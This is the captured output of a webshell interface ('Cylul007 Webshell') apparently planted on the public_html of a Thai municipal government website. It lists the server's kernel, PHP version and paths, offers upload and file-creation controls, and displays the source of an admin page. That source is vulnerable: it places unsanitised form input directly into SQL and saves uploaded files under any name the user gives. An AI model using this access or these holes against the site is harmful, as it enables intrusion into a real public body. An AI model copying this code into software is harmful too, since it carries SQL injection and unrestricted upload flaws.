Cylul007 Webshell
Uname
:
Linux ns7.thaihispeed.com 3.10.0-693.11.1.el7.x86_64 #1 SMP Mon Dec 4 23:52:40 UTC 2017 x86_64
PHP
:
5.3.29
on
apache2handler
Time
:
24 Nov 2024 20:41:24
Path :
/
home
/
tassabanlo
/
domains
/
lomsak.go.th
/
public_html
/
File Upload :
New File
New Folder
Current File : /home/tassabanlo/domains/lomsak.go.th/public_html/edit_home_screen.php
Download
HOME
<?php date_default_timezone_set('Asia/Bangkok'); include "checklogin.php"; include "connect.php"; include('db_class.php'); $co=new DatabaseManage; $dd=$co->selectAllData("screen","*",""); foreach($dd as $dt){ ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>Edit Home Screen</title> <style> .mock-box { position: fixed; display: block; width: 100%; height: 100%; left: 0px; top: 0px; overflow: hidden; background-color: #<?=$dt['bg_s'];?>; } .mock-img { position: absolute; top: 50%; left: 50%; display: block; margin: 0px auto; width: auto; height: auto; max-width: 100%; max-height: 100%; z-index: 5; transform: translateX(-50%) translateY(-50%); box-shadow: 0px 0px 15px #<?=$dt['bor_s'];?> !important; border-radius: 15px; margin: auto; } </style> </head> <body style="font-family: Cambria, 'Hoefler Text', 'Liberation Serif', Times, 'Times New Roman', 'serif';font-size: 13px;"> <div class="mock-box"> <div class="mock-img"> <form method="post" enctype="multipart/form-data" name="form1" id="form1"> <p> <table width="400" border="0" cellspacing="0" cellpadding="0" align="center"> <tbody> <tr> <td align="center"><img src="images/<?=$dt['img_s'];?>" width="150"> </td> </tr> </tbody> </table> </p> <table width="520" border="0" cellspacing="5" cellpadding="0" align="center"> <tbody> <tr><td colspan="2" align="center" style="color:darkblue"><input type="hidden" name="h_img" id="h_img" value="<?=$dt['img_s'];?>"> จัดการข้อมูลหน้า Home Screen</td></tr> <tr> <td align="right"><label for="img">รูปภาพหลัก :</label></td><td> <input type="file" name="img" id="img"> <font color="#FF0004">ขนาด 1050 X 1172 px.</font></td> </tr> <tr> <td align="right"><label for="bg_c">รหัสสีพื้นหลัง :</label></td><td> <input type="text" name="bg_c" id="bg_c" value="<?=$dt['bg_s'];?>"> ตัวอย่างรหัสสี :<font color="#FF0004"> FFFFFF </font></td> </tr> <tr> <td align="right"><label for="br_c">รหัสสีเงา :</label></td><td> <input type="text" name="br_c" id="br_c" value="<?=$dt['bor_s'];?>"><font color="#FF0004"> * ไม่ต้องใส่เครื่องหมาย #</font></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" name="btn" id="btn" value="save"> <input type="reset" name="reset" id="reset" value="cancel"></td> </tr> </tbody> </table> </form> <center><a href="homeadmin.php"><img src="images/exit.png" width="100" height="100" alt="ย้อนกลับ"/></a> </center> </div> </div> </body> </html> <?php } if($_POST['btn']=="save") { $n_img=$_POST['h_img']; $im=$_FILES['img']['name']; $bg=$_POST['bg_c']; $br=$_POST['br_c']; $tm=$_FILES['img']['tmp_name']; if($im==""){ $edt=$co->updateData("screen","bg_s,bor_s","'$bg','$br'","id_s='1'"); echo "<script> alert('บันทึกสำเร็จ');</script>"; echo "<meta http-equiv=refresh content=1;URL=edit_home_screen.php>"; }else{ $edt=$co->updateData("screen","img_s,bg_s,bor_s","'$im','$bg','$br'","id_s='1'"); copy($tm,"images/".$im); unlink("images/".$n_img); echo "<meta http-equiv=refresh content=1;URL=edit_home_screen.php>"; echo "<script> alert('บันทึกสำเร็จ');</script>"; } } ?>
Copyright © 2018 - Powered By CytoXploit